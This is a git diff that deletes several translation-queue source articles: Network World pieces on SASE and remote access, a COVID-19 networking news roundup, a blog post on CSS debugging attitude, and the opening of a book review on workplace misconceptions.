of existing and very successful product lines, so beyond engineering, there is also an internal conflict to overcome.    - -And that's why the "big incumbents," as you put it, are so threatened by SASE. We all recognize that SASE is the future, but to get that to that future, many of the established solution providers will need to disrupt their existing businesses. That's not easy to do, but what they can do is market.  - -We, as an industry, are seeing vendors trying to capitalize on SASE by rebranding their solutions as SASE offerings. Some are appliances without cloud capabilities; others are security services without networking capabilities. For IT to tell the difference between a true SASE platform and a "fake" one, the litmus test is simple: If the center of gravity is in the appliances. If the offer lacks SD-WAN and if there is more than one management console. It's not SASE, and it's not the future. It's a repackaging of the past.   - -Join the Network World communities on [Facebook][4] and [LinkedIn][5] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3534720/know-the-benefits-of-cloud-native-networking-for-sase.html - -作者:[Zeus Kerravala][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Zeus-Kerravala/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[3]: https://www.catonetworks.com/blog/the-cloud-native-network-what-it-means-and-why-it-matters/ -[4]: https://www.facebook.com/NetworkWorld/ -[5]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200330 SASE might be better than VPNs for quickly ramping up remote access.md b/sources/talk/20200330 SASE might be better than VPNs for quickly ramping up remote access.md deleted file mode 100644 index 10f3abab83..0000000000 --- a/sources/talk/20200330 SASE might be better than VPNs for quickly ramping up remote access.md +++ /dev/null @@ -1,98 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (SASE might be better than VPNs for quickly ramping up remote access) -[#]: via: (https://www.networkworld.com/article/3534501/sase-might-be-better-than-vpns-for-quickly-ramping-up-remote-access.html) -[#]: author: (Linda Musthaler https://www.networkworld.com/author/Linda-Musthaler/) - -SASE might be better than VPNs for quickly ramping up remote access -====== -A secure access service edge model can quickly grow remote-worker capacity without requiring enterprises to deploy their own new VPN gear. -Getty Images - -The global pandemic now hitting almost every corner of the world is forcing countless millions of people to work from home. In one sense, we’re fortunate to now have the technology that allows us to do that. Between broadband Internet access in the home, corporate VPNs, team workspaces and videoconferencing services, many people can continue to do their jobs as effectively as if they were in their regular office environment. - -That doesn’t mean it’s all smooth sailing for the IT departments that have to enable and support those critical work-from-home services. Depending on the type of network architecture a company has, it can be relatively easy or significantly challenging to support tens of thousands of employees now suddenly working from home. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -I recently talked with Mark Casey, CEO of the network infrastructure services provider [Apcela][2], who conveyed the challenges that many large enterprises have. It’s these companies that typically still have a traditional hub-and-spoke kind of WAN anchored in a physical data center. Corporate traffic is backhauled from branch and remote locations (like workers’ homes) to a centralized [data center][3] to pass through a security stack before it is sent to the internet or to cloud services. Unfortunately, this legacy network architecture doesn’t adapt well to the dramatically different traffic patterns resulting from a massive surge in telework. - -When you look at the [VPN][4] architecture in this environment, it’s largely dominated by Cisco with its AnyConnect solution that pairs with the vendor’s ASA [firewall][5] products. Countless large enterprises have these hardware appliances in their on-premises data centers. Whether it’s Cisco equipment or some other vendor’s, the VPN/firewall combination is a real workhorse under normal conditions, but the vast increase in remote workers is causing a strain. - -**VPN capacity is strained** - -A home-based worker brings up a VPN connection that creates a secure tunnel to take him straight into the data center. This might be fine when the company expects 10% to 20% of its employees to work remotely at any given time, but now the numbers might approach 50% or 70%. This creates contention for resources and a poor VPN experience for all. What’s more, workers are routing a bunch of internet traffic to the data center along with traffic destined for on-premise applications like [Microsoft Office 365][6]. This is the landscape that Casey sees every day as he engages with large enterprise organizations. - -“We’ve talked to a number of companies recently that say they need to expand their VPN capacity but the legacy network architecture is holding them back. [Cisco][7], Palo Alto and others are offering free VPN client licenses but the enterprises still need to expand the VPN terminating appliances. It’s hard to quickly scale capacity in this environment,” says Casey. “Whether it’s coronavirus or some other catalyst that puts stress on the legacy network environment, we advocate that enterprises should diversify and shift portions of their network architecture to the cloud. This will give them much more flexibility to provide security and remote access services to their workforce in the long run.” - -[][8] - -**SASE for flexibility and capacity on demand** - -Casey points to the [Secure Access Service Edge][9] (SASE, pronounced “sassy”) framework as a model for re-architecting the enterprise network. SASE is Gartner’s name for a combination of [SD-WAN][10] capabilities with a number of security services that are primarily delivered through a cloud-based delivery model. - -Gartner defines the service edge as an offering that supports the access needs of digital enterprises by combining SD-WAN functions with network security services such as secure web gateway (SWG), cloud access security broker (CASB), and cloud-based firewall. In short, a SASE offering helps simplify network management by offering highly customizable policy-based control that can be tailored by user identity, session context, and application needs for performance and security – and it’s delivered from the cloud.  - -Casey explains the concept of a service edge with a geographical example. “Suppose an employee is VPNing into his corporate network from his New York area home, and the data center happens to be in Chicago. Ordinarily the traffic would all be directed to Chicago, but if he’s accessing internet content, it would be optimal to egress that traffic via secure web gateway much more locally to where the user is. It’s better to go to a site in New York where the VPN terminates on a local firewall, and there’s a secure web gateway there so the Internet traffic can be offloaded there instead of backhauling it to Chicago. This site in New York is called the service edge.” - -Casey continues his explanation: “A virtualized version of a company’s firewall sits in the hub. The VPN terminates on the VPN concentrator in the local hub and then the traffic is routed appropriately. That traffic going to the internet goes out through secure web gateway and that traffic that's destined for an application in the data center goes over a private network inside the security parameters. This is essentially another tunnel back to the data center. And that's a great use case for this whole concept of SASE, which is to lift some of your core security components and move them out to the cloud.” - -With the word cloud, people tend to think of AWS or Azure or Google Cloud Platform, but Casey gives cloud a broader definition. “Cloud is Software as a Service, like Salesforce and ServiceNow,” says Casey. “If you’re an enterprise, cloud is an Equinix data center. Cloud is anything that’s not you, and it’s delivered as a service.” - -**The service edge is a powerful hub** - -In Apcela’s parlance, a service edge is called an application hub, or AppHub. Other companies call them communication hubs, cloud hubs, or simply Points of Presence (PoPs). Regardless of the name, the concept is the same. - -These hubs consist of racks of switching and routing equipment that are typically deployed in carrier-neutral co-location centers. Then these data centers are interconnected with high-capacity, low-latency circuits that create a high-performance core network. SD-WAN, VPN and security stacks are typically deployed in the hubs. At the edge of this network, an enterprise can directly connect its own data centers, branch offices, remote and mobile users, and even third-party partners. The leading SASE providers have built hubs, or PoPs, around the world so that organizations and their workers can connect to the closest hub to obtain the communication and security services they need. Each enterprise chooses what services it wants to utilize. - -When considering how to deploy security as a virtual service, Casey says, “You don't necessarily want to put all the security in AWS because then it will work great with AWS, but it won't work for GCP or Azure, and it certainly won't help you for your SaaS applications. So having this hub environment that sits between the application clouds – Salesforce, Office 365, Workday, etc. – and the users and enterprise locations is the perfect location to put these security services. And because the hubs are essentially an Infrastructure as a Service, you're not stuck with having to move to some proprietary cloud-based platform.” - -SASE infrastructure is essentially on demand, so it’s fairly easy for new customers to adopt it. “It’s not complicated,” says Casey. “We have to find a place, somewhere in the world, and cross connect back into an enterprise’s infrastructure to deliver private connectivity. But it's all very cloud-like. It takes the agility of cloud and the speed of cloud and enables you to act quickly.” - -**SASE has VPN capacity pre-built** - -The SASE model allows companies to expand their VPN platforms easily because the capability is all pre-built. Once the service is turned on, the company is well positioned to support thousands of new home-based workers. - -I asked Casey about a realistic timeframe for companies that are new to the SASE approach before they can expect to be up and running with expanded VPN capacity. “I can only speak to the solution Apcela offers, of course, but I’d say it’s a matter of days to weeks, but certainly not months,” he says. “In our case, it depends on their security platform because we leverage virtualized network functions on the security side, so the whole concept of procuring and shipping equipment goes away.” Other vendors might do the deployment in different ways. - -Contrast this approach to the legacy model of installing new hardware in a data center to provide more capacity. By the time the company orders the hardware, gets it shipped to the data center, and then installed and configured, two or three months might pass. - -Another benefit of the SASE framework is that traffic travels over a private core network rather than the public Internet. “The Internet shouldn’t become your new [WAN][11] – certainly not for business and mission-critical platforms. You need a specialized sort of [MPLS][12]-like network for your cloud apps, which is what a SASE platform does,” says Casey. “Traffic is taken off the Internet at the secure edge, put onto a private secure network and routed directly to the appropriate SaaS or IaaS platform data center.” - -Having a private core network is especially important at this time because the public Internet is under great strain due to the traffic and content pattern shifts now that so many people are staying home or working from home. The [strain is so bad][13] that companies like Facebook and Netflix have been asked by the European Commissioner for internal market and services to throttle their services to consume less bandwidth. As Casey says, “You don’t want your corporate traffic to compete for bandwidth against Netflix and all these different videoconferencing services.” - -If your organization is struggling with ramping up work-from-home capacity in a hurry, consider how a SASE service might help you. - -Join the Network World communities on [Facebook][14] and [LinkedIn][15] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3534501/sase-might-be-better-than-vpns-for-quickly-ramping-up-remote-access.html - -作者:[Linda Musthaler][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Linda-Musthaler/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.apcela.com/ -[3]: https://www.networkworld.com/article/3223692/what-is-a-data-centerhow-its-changed-and-what-you-need-to-know.html -[4]: https://www.networkworld.com/article/3268744/understanding-virtual-private-networks-and-why-vpns-are-important-to-sd-wan.html -[5]: https://www.networkworld.com/article/3230457/what-is-a-firewall-perimeter-stateful-inspection-next-generation.html -[6]: https://techcommunity.microsoft.com/t5/office-365-blog/how-to-quickly-optimize-office-365-traffic-for-remote-staff-amp/ba-p/1214571; -[7]: https://blogs.cisco.com/security/cisco-expands-free-security-offerings-to-help-with-rise-in-remote-workers -[8]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[9]: https://www.networkworld.com/article/3516503/it-pros-need-to-weigh-in-on-that-sassy-security-model.html -[10]: https://www.networkworld.com/article/3031279/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[11]: https://www.networkworld.com/article/3248989/what-is-a-wan-wide-area-network-definition-and-examples.html -[12]: https://www.networkworld.com/article/2297171/network-security-mpls-explained.html -[13]: https://mashable.com/article/eu-netflix-standard-definition-coronavirus/ -[14]: https://www.facebook.com/NetworkWorld/ -[15]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200401 How enterprise networking is changing with a work-at-home workforce.md b/sources/talk/20200401 How enterprise networking is changing with a work-at-home workforce.md deleted file mode 100644 index f87bc0a8f8..0000000000 --- a/sources/talk/20200401 How enterprise networking is changing with a work-at-home workforce.md +++ /dev/null @@ -1,114 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How enterprise networking is changing with a work-at-home workforce) -[#]: via: (https://www.networkworld.com/article/3534037/how-enterprise-networking-is-changing-with-a-work-at-home-workforce.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -How enterprise networking is changing with a work-at-home workforce -====== -Network World updates the latest COVID-19-related networking news -Ig0rZh / Getty Images - -_As the coronavirus spreads, public and private companies as well as government entities are requiring employees to work from home, putting unforeseen strain on all manner of networking technologies and causing bandwidth and security concerns.  What follows is a round-up of news and traffic updates that Network World will update as needed to help keep up with the ever-changing situation.  Check back frequently!_ - -UPDATE: 3.30 - -AT&T said its core network traffic – which includes business, home broadband and wireless  – was up 24% through March 30 compared to the same day last month.  It broke down some mobility traffic patterns as well: voice calls: +33%, instant messaging: +63%, text messaging: +41%, email: -18%, web browsing: -5%, video: +4% (also accounts for over half of all mobility traffic). It also usage for conferencing: AT&T’s global audio-conferencing solution: +200%; audio, web and video conferencing tools: +400%; Large-scale webcast events: +200%. - -[RELATED: Firewall face-off for the enterprise][1] - -AT&T said its investment in artificial intelligence technology is helping it keep up with demand. For example, the company said AI is helping remotely troubleshoot and diagnose problems with customer equipment, by identifying the cause or even proactively identifying a potential issue before it occurs. “We’ve expedited deployments of new AI capabilities in certain markets that will allow us to balance the traffic load within a sector and across sectors to help avoid overloading specific cells and improve the experience.” - -DNS vendor BlueCat says it has been tracking the use of DNS over HTTPS (DoH) – a method of encrypting queries to prevent visibility into DNS traffic patterns.  Over the last week through March 27, the company said it has  seen a massive increase in the use of DoH across its customer base wrote Ben Ball, director of strategy and content marketing at BlueCat in a [blog][2] about the trend. “In the course of a single weekend, the number of endpoints attempting to use DoH went from an average of 90 to about 1,400.  That’s a 1,500% increase in the use of DoH. Around 45% of these queries are from Firefox (which now activates DoH by default).  Aside from that, we’re seeing queries to eleven different DoH services from all kinds of applications. DoH usage is fairly uniform across our customer base as well – this isn’t one company or industry vertical; this is a broad trend. While we haven’t seen any clear indications that any of these queries are from [DoH enabled malware][3], that is an emerging threat that we are tracking,” Ball stated. - -Ookla’s [SpeedTest][4] shows mean download speed over fixed broadband declined only slightly in Mexico and the U.S. when comparing the week of March 23 to that of March 16, while a decline in Canada’s mean download speed over fixed broadband was more evident. Mean download speed over mobile was down in the U.S. and Canada during the week of March 23, while it rose slightly in Mexico during the same period. - -**UPDATE 3.27** - -[][5] - -Broadband watchers at [BroadbandNow][6] say users in most of the cities it analyzed are experiencing normal network conditions, suggesting that ISP’s (and their networks) are holding up to the shifting demand. In a March 25 [post][7] the firm wrote: “Encouragingly, many of the areas hit hardest by the spread of the coronavirus are holding up to increased network demand. Cities like Los Angeles, Chicago, Brooklyn, and San Francisco have all experienced little or no disruption. New York City,  now the epicenter of the virus in the U.S., has seen a 24% dip out of its previous ten-week range. However, with a new median speed of nearly 52 Mbps, home connections still appear to be holding up overall.” - -Other BroadbandNow findings included: - - * Eighty eight (44%) of the 200 cities it analyzed experienced some degree of network degradation over the past week compared to the 10 weeks prior. However, only 27 (13.5%) cities experienced dips of 20% below range or greater. - * Seattle download speeds have continued to hold up over the past week, while New York City’s speeds have fallen out of range by 24%. Both cities are currently heavily affected by the coronavirus pandemic. - * Three cities – Austin, Texas, Winston Salem, N.C., and Oxnard, Calif. – have experienced significant degradations, falling out of their 10-week range by more than 40%. - - - -Cisco’s Talos threat-intelligence arm [wrote][8] on March 26 about the COVID security threat noting what it called three broad categories of attacks leveraging COVID with known advanced persistent threat participation in: [Malware and phishing campaigns][9] using COVID-themed lures; attacks against organizations that carry out research and other work related to COVID; and fraud and disinformation. From an enterprise security perspective, Talos recommended: - - * Remote access: Do not expose Remote Desktop Protocol (RDP) to the internet. Use secure VPN connections with multi-factor authentication schemes. Network access control packages can be used to ensure that systems attempting to remotely connect to the corporate environment meet a minimum set of security standards such as anti-malware protection, patch levels, etc,. prior to granting them access to corporate resources. Continually identify and remediate access-policy violations. - * Identity Management: Protect critical and public-facing applications with multi-factor authentication and supporting corporate policies. Verify that remote-account and access-termination capabilities work as intended in a remote environment. - * Endpoint Control: Because many people may be working from home networks, endpoint visibility, protection, and mitigation is now more important than ever. Consider whether remediation and reimaging capabilities will work as intended in a remote environment. Encrypt devices where possible, and add this check to your NAC solution as a gate for connectivity. Another simple method of protecting endpoints is via DNS, such as with [Cisco’s] Umbrella, by blocking the resolution of malicious domains before the host has a chance to make a connection. - - - -In an [FAQ][10] about the impact of COVID-19 on fulfilling customer hardware orders, VMware stated: “Some VMware SD-WAN hardware appliances are on backorder as a result of supply chain issues. As a result, we are extending the option to update existing orders with different appliances where inventory is more readily available. Customers may contact a special email hotline with questions related to backordered appliances. Please send an email to [sd-wan-hotline@vmware.com][11] with your questions and include the order number, urgent quantities, and contact information. We will do our best to respond within 48 hours.” - -Cisco said it has been analyzing traffic statistics with major carriers across Asia, Europe, and the Americas, and its data shows that typically, the most congested point in the network occurs at inter-provider peering points, Jonathan Davidson, senior vice president and general manager of Cisco's Mass-Scale Infrastructure Group wrote in a [blog][12] on March 26. “However, the traffic exchanged at these bottlenecks is only a part of the total internet traffic, meaning reports on traffic may be higher overall as private peering and local destinations also contribute to more traffic growth.” - -“Our analysis at these locations shows an increase in traffic of 10% to 33% over normal levels. In every country, traffic spiked with the decision to shut down non-essential businesses and keep people at home. Since then, traffic has remained stable or has experienced a slight uptick over the days that followed,” Davidson stated. - -He said that traffic during peak hours from 6 p.m. and 10 p.m. has increased slightly, but is not the primary driver for the overall inrease. Busy hours have extended to 9 a.m. 10 p.m., although the new busy-hour (9 a.m. to 6 p.m.) traffic is still below the traditional peak hours. "Service providers are certainly paying attention to these changes, but they are not yet a dire concern, as most networks are designed for growth. Current capacities are utilized more over the course of the entire day,” he wrote. - -Spanish multinational telecommunications company [Telefonica][13]’ said IP networks are experiencing traffic increases of close to 40% while mobile voice use is up about 50% and data is up 25%. In general, traffic through IP networks has experienced increases of nearly 40% while mobile use has increased by about 50% for voice and 25% for data. Likewise, traffic from instant-messaging tools such as Whatsapp has increased fivefold in recent days. - -**UPDATE: 3.26** - - * Week over week (ending March 23) [Ookla][14] says it has started to see a degradation of mobile and fixed-broadband performance worldwide. More detail on specific locations is available below. Comparing the week of March 16 to the week of March 9, mean download speed over mobile and fixed broadband decreased in Canada and the U.S. while both remained relatively flat in Mexico. - * What is the impact of the coronavirus on corporate network planning? Depends on how long the work-from-home mandate goes on really. Tom Nolle, president of CIMI Corp. [takes an interesting look at the situation][15] saying the shutdown “could eventually produce a major uptick for SD-WAN services, particularly in [managed service provider]    Businesses would be much more likely to embark on an SD-WAN VPN adventure that didn’t involve purchase/licensing, favoring a service approach in general, and in particular one with a fairly short contract period.” - * Statistics from VPN provider [NordVPN][16] show the growth of VPN usage across the globe.  For example, the company said the US has experienced a 65.93% growth in the use of business VPNs since March 11. It reported that mass remote working has contributed towards a rise in desktop (94.09%) and mobile app (0.39%) usage among Americans. Globally, NordVPN teams has seen a 165% spike in the use of business VPNs and business VPN usage in Netherlands (240.49%), Canada (206.29%) and Austria (207.86%) has skyrocketed beyond 200%. Italy has had the most modest growth in business VPN usage at just 10.57%. - - - -**UPDATE: 3. 25**: - - * According to [Atlas VPN][17] user data, VPN usage in the US increased by 124% during the last two weeks. VPN usage in the country increased by 71% between March 16 and 22 alone. Atlas said it measured how much traffic traveled through its servers during that period compared to March 9 to 15. The data came from the company's 53,000 weekly users. - * Verizon [reports][18] that voice usage, long declining in the age of texting, chat and social media, is up 25% in the last week. The network report shows the primary driver is accessing conference calls. In addition, people are talking longer on mobile devices with wireless voice usage notching a 10% increase and calls lasting 15% longer.  - * AT&T also [reported][19] increased calling, especially Wi-Fi calling, up 88% on March 22 versus a normal Sunday. It says that consumer home voice calls were up 74% more than an average Sunday; traffic from Netflix dipped after all-time highs on Friday and Saturday; and data traffic due to heavy video streaming between its network and peered networks tied record highs. AT&T said it has deployed portable cell nodes to bolster coverage supporting FirstNet customers in Indiana, Connecticut, New Jersey, California and New York. - * Microsoft this week advised users of Office 365 it was throttling back some services: - * **OneNote: ** OneNote in Teams will be read-only for commercial tenants, excluding EDU. Users can go to OneNote for the web for editing. Download size and sync frequency of file attachments has been changed. You can find details on these and other OneNote related updates as . - * **SharePoint:** We are rescheduling specific backend operations to regional evening and weekend business hours. Impacted capabilities include migration, DLP and delays in file management after uploading a new file, video or image. Reduced video resolution for playback videos. - * **Stream:** People timeline has been disabled for newly uploaded videos. Pre-existing videos will not be impacted. Meeting recording video resolution adjusted to 720p. - - - -**RELATED COVID-19 NEWS:** - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3534037/how-enterprise-networking-is-changing-with-a-work-at-home-workforce.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3189176/security/face-off-cisco-vs-fortinet-for-enterprise-firewalls.html -[2]: https://www.bluecatnetworks.com/blog/wfh-doh/ -[3]: https://blog.netlab.360.com/an-analysis-of-godlua-backdoor-en/ -[4]: https://www.speedtest.net/insights/blog/tracking-covid-19-impact-global-internet-performance/ -[5]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[6]: https://broadbandnow.com/ -[7]: https://broadbandnow.com/report/internet-speed-analysis-march-15th-21st/ -[8]: https://blog.talosintelligence.com/2020/03/covid-19-pandemic-threats.html -[9]: https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html -[10]: https://www.vmware.com/company/news/updates/vmware-response-covid-19.html?mid=31381&eid=CVMW2000048242496 -[11]: mailto:sd-wan-hotline@vmware.com -[12]: https://blogs.cisco.com/news/global-traffic-spikes-no-panic-at-the-cisco -[13]: https://www.telefonica.com/en/web/press-office/-/telefonica-announces-measures-related-to-covid-19 -[14]: https://downdetector.com/?utm_campaign=Ookla%20Insights%20Blog%20Subscription&utm_source=hs_email&utm_medium=email&utm_content=85202785&_hsenc=p2ANqtz--Nj93d_eQyJpsqxrPJyNPtTiMBWBQU984psLyalw51K61e4d1WODareMF5NWFriHY2Uzw3WF7rF-2vSfH5cR53Jg3K5Q&_hsmi=85202785 -[15]: https://blog.cimicorp.com/?p=4068 -[16]: https://nordvpnteams.com/ -[17]: https://atlasvpn.com/blog/lockdowns-and-panic-leads-to-a-124-surge-in-vpn-usage-in-the-us/ -[18]: https://www.verizon.com/about/news/update-verizon-serve-customers-covid-19 -[19]: https://about.att.com/pages/COVID-19.html diff --git a/sources/talk/20200402 When debugging, your attitude matters.md b/sources/talk/20200402 When debugging, your attitude matters.md deleted file mode 100644 index 6968d3f8e3..0000000000 --- a/sources/talk/20200402 When debugging, your attitude matters.md +++ /dev/null @@ -1,101 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: (name1e5s) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (When debugging, your attitude matters) -[#]: via: (https://jvns.ca/blog/debugging-attitude-matters/) -[#]: author: (Julia Evans https://jvns.ca/) - -When debugging, your attitude matters -====== - -A while back I wrote [What does debugging a program look like?][1] on what to do when debugging (change one thing at a time! check your assumptions!). - -But I was debugging some CSS last week, and I think that post is missing something important: **your attitude**. - -Now – I’m not a very good CSS developer yet. I’ve never written CSS professionally and I don’t understand a lot of basic CSS concepts (I think I finally understood for the first time recently how `position: absolute` works). And last week I was working on the most complicated CSS project I’d ever attempted. - -While I was debugging my CSS, I noticed myself doing some bad things that I normally would not! I was: - - * making random changes to my code in the hopes that it would work - * googling a lot of things and trying them without understanding what they did - * if something broke, reverting my changes and starting again - - - -This strategy was exactly as effective as you might imagine (not very effective!), and it was because of my attitude about CSS! I had this unusual-for-me belief that CSS was Too Hard and impossible for me to understand. So let’s talk about that attitude a bit! - -### the problem attitude: “this is too hard for me to understand” - -One specific problem I was having was – I had 2 divs stacked on top of one another, and I wanted Div A to be on top of Div B. My model of CSS stacking order at the start of this was basically “if you want Thing A to be on top of Thing B, change the z-index to make it work”. So I changed the z-index of Div A to be 5 or something. - -But it didn’t work! In Firefox, div A was on top, but in Chrome, Div B was on top. Argh! Why? CSS is impossible!!! - -I googled a bit, and I found out that a possible reason z-index might not work was because Div A and Div B were actually in different “stacking contexts”. If that was true, even if I set the z-index of Div A to 999999 it would still not put it on top of Div B. ([here’s a small example of what this z-index problem looks like, though I think my specific bug had some extra complications][2]) - -I thought “man, this stacking context thing seems really complicated, why is it different between Firefox and Chrome, I’m not going to be able to figure this out”. So I tried a bunch of random things a bunch of blog posts suggested, which as usual did not work. - -Finally I gave up this “change random things and pray” strategy and thought “well, what if I just read the documentation on stacking order, maybe it’s not that bad”. - -So I read the [MDN page on stacking order][3], which says: - -> When the z-index property is not specified on any element, elements are stacked in the following order (from bottom to top): -> 1\. The background and borders of the root element -> 2\. Descendant non-positioned blocks, in order of appearance in the HTML -> 3\. Descendant positioned elements, in order of appearance in the HTML - -This is SO SIMPLE! It just depends on the order in the HTML! I put Div A after Div B in the HTML (as a sibling) and it made everything work in both browsers. - -### better attitude: “let’s learn the basics and see if that helps” - -This whole stacking problem turned out to really not be that complicated – all I needed to do was read a very short and simple documentation page to understand how stacking works! - -Of course, computer things are not always this simple (and even in this specific case the [rules about what creates a new stacking context][4] are pretty complicated.). But I did not need to understand those more complicated rules in order to put Div A on top of Div B! I only needed to know the much simpler 3 rules above. - -So – calm down for a second, learn a few of the basics, and see if that helps. - -### watching people who know what they’re doing is inspiring - -Another area of CSS that I thought was “too hard” for me to understand was this whole `position: absolute` and `position: relative` business. I kept seeing (and sometimes using!) examples where people made complicated CSS things with `position: absolute` but I didn’t understand how they worked. Doesn’t `position: absolute` mean that the element is always in the same place on the screen? Why are these `position: absolute` things moving when I scroll like the rest of the document? (spoiler: no, that’s `position: fixed`.) - -But last week, I paired with someone who’s a lot better at CSS than me on some code, and I saw that they were just typing in `position: absolute` and `position: relative` confidently into their code without seeming confused about it!! Could that be me? - -I looked up the [documentation on MDN][5] on `position: absolute`, and it said: - -> The element is removed from the normal document flow, and no space is created for the element in the page layout. It is positioned relative to its closest positioned ancestor… Its final position is determined by the values of top, right, bottom, and left. - -So things with `position: absolute` are positioned relative to their closest positioned ancestor! And you just use `top/bottom/right/left` to pick where! That’s so simple! - -### documentation that you can trust makes a big difference - -I think another big source of my frustration with CSS is that I didn’t have the best grasp of where to find accurate information & advice. I knew that MDN was a reliable reference, but MDN doesn’t really help answer questions like “ok but seriously how do I center a div???” and I found myself reading a lot of random Stack Overflow answers/blog posts that I wasn’t 100% sure were correct. - -This week I learned about [CSS Tricks][6] which has a lot of GREAT articles like [Centering in CSS: A Complete Guide][7] which seems very reputable and is written in a super clear way. - -### that’s all! - -I don’t really know why I started to believe that it was “impossible” to understand basic CSS concepts since I don’t believe that about computers in general. Maybe because I’ve been writing CSS at a beginner level for a very long time but hadn’t ever really tried to do a more involved CSS project than “let’s arrange some divs in a grid with flexbox”! - -But this attitude really got in the way of me writing the CSS I wanted to write! And once I let go of it and used my normal debugging techniques I was able to get a lot more things to work the way I wanted. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/debugging-attitude-matters/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://jvns.ca/blog/2019/06/23/a-few-debugging-resources/ -[2]: https://codepen.io/jvns-css-fun/pen/YzXMMdQ -[3]: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index -[4]: https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context -[5]: https://developer.mozilla.org/en-US/docs/Web/CSS/position -[6]: https://css-tricks.com -[7]: https://css-tricks.com/centering-css-complete-guide/ diff --git a/sources/talk/20200405 Book review- Nine Lies About Work.md b/sources/talk/20200405 Book review- Nine Lies About Work.md deleted file mode 100644 index a4c06438aa..0000000000 --- a/sources/talk/20200405 Book review- Nine Lies About Work.md +++ /dev/null @@ -1,106 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Book review: Nine Lies About Work) -[#]: via: (https://opensource.com/open-organization/20/4/book-review-nine-lies-about-work) -[#]: author: (Ron McFarland https://opensource.com/users/ron-mcfarland) - -Book review: Nine Lies About Work -====== -An examination of common work misconceptions and how open organizations -are often ahead of the curve. -![Carrot on a stick][1] - -In _Nine Lies About Work_, authors Marcus Buckingham and Ashley Goodall examine what we might consider "common theories" about aspects of contemporary organizational life—and they debunk those theories. The book's so-called "lies" are, therefore, not really lies but rather common beliefs about work that simply aren't accurate in actual working environments today. - -In this review, I'll outline all nine of those misconceptions and explain what the authors believe is really true in the case of each one. But then I'll focus more on explaining the misconceptions that are especially relevant to [open organizations][2]. - -### Liar, liar - -Buckingham and Goodall address the following nine "lies" about work. - -Lie #1—People care about which company they work for. The authors believe that people really care about which team they're directly working on. That is where we [find engagement][3]. - -Lie #2—The best plan wins. The authors believe that the best front-line intelligence and feedback wins. In this rapidly changing world, [plans only tell you where you are now][4] and where you may be in the very near future (that is, in a few weeks or months). - -Lie #3—The best companies cascade goals. The authors believe that the best companies [disseminate downward meaning][5] (that is, public purpose) to their staff. - -Lie #4—The best people are well-rounded. The authors believe that the best people are good only at specific tasks (and not _necessarily_ other tasks). - -Lie #5—People need feedback. The authors believe that people need nonjudgmental, uncritical attention, and to be recognized; they don't need criticism. - -Lie #6—People can reliably rate other people. The authors believe that people can reliably rate their own experience and [evaluate their own performance][6] often better than others can. - -Lie #7—People have potential. The authors believe that every person possesses individual needs and individual feelings of forward momentum and progress. Therefore, their potential cannot be determined. - -Lie #8—Work-life balance matters most. The authors believe that love-in-work matters most. Companies should promote each individual finding the [love of what they do at work][7], then expand on that love. Companies should promote having fun at work, but they rarely do. - -Lie #9—Leadership is a thing. The authors believe that [we each follow people with a vision][8] in which we believe. To say a person is "a good leader" is, therefore, only situational according to individual followers. No universal criteria, rule, or model for effective leadership exists. - -### Teams over companies - -Now let's take a hard look at Lie #1. The authors believe that someone seeking a job will care 